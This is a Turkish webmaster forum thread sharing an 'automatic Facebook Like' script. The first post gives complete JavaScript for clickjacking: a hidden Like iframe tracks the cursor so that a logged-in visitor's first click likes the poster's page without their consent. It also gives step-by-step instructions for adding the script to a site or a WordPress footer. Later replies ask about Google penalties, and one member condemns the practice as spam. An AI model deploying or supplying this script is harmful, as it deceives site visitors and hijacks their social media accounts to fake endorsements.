Otomatik Facebook Beğen Scripti

0
Onaylı Üye
Üye
Katılım
19 Aralık 2010
Mesajlar
708
Tepki puanı
11
Konum
İstanbul
Sitenizde her hangi bir yere tıklandığında kullanıcı facebook üyesi ise ve facebook girişi yapmışsa ilk tıklamada sitenizi beğenmiş oluyor

script kaynağı http://erickerr.com/like-clickjacking script dosyası http://erickerr.com/misc/like-clickjacking.js

script ana dizine atılacak ve kodu </body> tagının altına eklenecek

örnek;

<script src="http://site.com/clickjack.js"></script>

wordpress kullanalar temalarının footer.php dosyasında </body> altına ekleyerek kullanabilirler

script kodu içindeki;

Kod:
[URL]http://erickerr.com/like-clickjacking[/URL]
adresini kendi facebook sayfanıza göre düzenlemeyi unutmayın

Kod:
(function(){
  var tempX = 0,
  tempY = 0,
  IE = document.all ? true : false;
  
  if (!IE) document.captureEvents(Event.MOUSEMOVE);
  
  var like = document.createElement('iframe');
  like.src = '[URL]http://www.facebook.com/plugins/like.php?href=[/URL]' + encodeURIComponent(/*document.location.href*/ '[URL]http://erickerr.com/like-clickjacking[/URL]') + '&layout=standard&show_faces=true&width=53&action=like&colorscheme=light&height=80';
  like.scrolling = 'no';
  like.frameBorder = 0;
  like.allowTransparency = 'true';
  like.style.border = 0;
  like.style.overflow = 'hidden';
  like.style.cursor = 'pointer';
  like.style.width = '53px';
  like.style.height =  '23px';
  like.style.position = 'absolute';
  like.style.opacity = .8; //Would be 0 if really used
  document.getElementsByTagName('body')[0].appendChild(like);
  
  window.addEventListener('mousemove', mouseMove, false);
  
  setTimeout(function(){
    document.getElementsByTagName('body')[0].removeChild(like);
    window.removeEventListener('mousemove', mouseMove, false);
  }, 10000);
  
  function mouseMove(e) {
    if (IE) {
      tempX = event.clientX + document.body.scrollLeft;
      tempY = event.clientY + document.body.scrollTop;
    } else {
      tempX = e.pageX;
      tempY = e.pageY;
    }
    
    if (tempX < 0) tempX = 0;
    if (tempY < 0) tempY = 0;
    
    like.style.top = (tempY - 8) + 'px';
    like.style.left = (tempX - 25) + 'px';
    
    return true
  }
})();
 
0
Onaylı Üye
Üye
Katılım
15 Aralık 2010
Mesajlar
506
Tepki puanı
8
Konum
Tarsus-Mersin
önemli bi konuya değinmiş :hmmm: teşekkürler paylaşım için. +rep
google amca bişey der mi sence bu koda, yoksa alakası bile olmaz mı ?
 
0
Onaylı Üye
Üye
Katılım
19 Aralık 2010
Mesajlar
708
Tepki puanı
11
Konum
İstanbul
Google amca birşey demez olur mu takdir eder sizi ne güzel şeyler yapıyorsun der :)
 
0
Onaylı Üye
Üye
Katılım
19 Aralık 2010
Mesajlar
708
Tepki puanı
11
Konum
İstanbul
Kesinlikle Facebook bu kadar önemli rol oynayınca beğendirmek için birşeyler yapmak gerekiyor sürekli :)
 
Onaylı Üye
Üye
Katılım
18 Temmuz 2008
Mesajlar
12,391
Tepki puanı
255
google la alakası neden olsun ki:D google çok korkutmuş sizi:D:D
ama hiçte iyi bişey değil
 
0
Onaylı Üye
Üye
Katılım
19 Aralık 2010
Mesajlar
708
Tepki puanı
11
Konum
İstanbul
Google herkes için önemli dostum hiç de saymamak lazım :D
 
0
Onaylı Üye
Üye
Katılım
15 Aralık 2010
Mesajlar
506
Tepki puanı
8
Konum
Tarsus-Mersin
bence yararlı bi konu fakat, google ile ilgili bi sıkıntı yaratırmı kesin cevap verebilecek olan var mı arkadaşlar ?
 
0
Onaylı Üye
Üye
Katılım
19 Aralık 2010
Mesajlar
708
Tepki puanı
11
Konum
İstanbul
ie 7 de çalışmadı :( teşekkürler

Firefox ve IE 8 + üzerinde denedim herhangi bir sorun yok ie 7 de test edemedim, browser a göre uygulama gibi bir siteden denenebilir. Pm atarsanız daha detaylı da yardımcı olmak için uğraşırım.
 
0
Onaylı Üye
Üye
Katılım
3 Ağustos 2009
Mesajlar
835
Tepki puanı
7
Bu sekilde kullanan bir site gorursem direk google ye spam yapiyor diye report ederim. kendi istegim disinda gerceklesen bir olay, hos olmadigi gibi o site kara listeme ve blogumda karalamaya kadar gider...
 
Geri
Üst